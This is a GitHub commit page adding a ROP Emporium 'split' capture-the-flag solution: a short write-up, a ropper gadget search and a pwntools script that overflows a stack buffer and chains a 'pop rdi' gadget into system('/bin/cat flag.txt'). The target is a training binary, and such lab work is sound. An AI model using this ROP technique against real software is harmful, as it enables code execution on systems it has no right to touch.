Skip to content

Commit bc73f07

Browse files
authored
split64 challenge
1 parent 1611fcc commit bc73f07

File tree

7 files changed

+63
-0
lines changed

7 files changed

+63
-0
lines changed

Rop-Emporium/split/Images/1.png

11.7 KB
Loading

Rop-Emporium/split/Images/2.png

27 KB
Loading

Rop-Emporium/split/Images/3.png

9.87 KB
Loading

Rop-Emporium/split/README.md

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
# split
2+
3+
> In this challenge the elements that allowed you to complete the ret2win challenge are still present, they've just been split apart. Find them and recombine them using a short ROP chain.
4+
> Click below to download the binary.
5+
>
6+
> Url: https://ropemporium.com/challenge/split.html
7+
8+
9+
10+
### x64 Solution
11+
12+
Our mission is to do a ROP chain to call system function with "/bin/bat flag.txt" as an argument to get the flag.
13+
14+
![](Images/1.png)
15+
16+
```bash
17+
~$ ropper -f split64 > split-gadgets.txt
18+
```
19+
20+
![](Images/3.png)
21+
22+
23+
24+
```python
25+
from pwn import *
26+
27+
elf = ELF('./split64')
28+
29+
io=process(elf.path)
30+
payload=flat(
31+
'A'*40,
32+
0x400883, # 0x400883: pop rdi; ret;
33+
elf.search('/bin/cat flag.txt').next(),
34+
elf.sym['system'],
35+
endianness='little', word_size=64, sign=False)
36+
37+
io.recvuntil('> ')
38+
io.sendline(payload)
39+
io.interactive()
40+
```
41+
42+
![](Images/2.png)
43+
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
from pwn import *
2+
3+
4+
elf = ELF('./split64')
5+
6+
context.terminal=['tmux','sp','-h']
7+
#context.log_level='DEBUG'
8+
9+
io=process(elf.path)
10+
payload= flat(
11+
'A'*40 ,
12+
0x400883, #0x0000000000400883: pop rdi; ret;
13+
elf.search('/bin/cat flag.txt').next(), #0x00601060 17 18 (.data) ascii /bin/cat flag.txt
14+
elf.sym['system'],
15+
endianness='little',word_size=64,sign=False)
16+
17+
io.recvuntil('> ')
18+
io.sendline(payload)
19+
io.interactive()

Rop-Emporium/split/flag.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
ROPE{a_placeholder_32byte_flag!}

Rop-Emporium/split/split64

8.91 KB
Binary file not shown.

0 commit comments

Comments
 (0)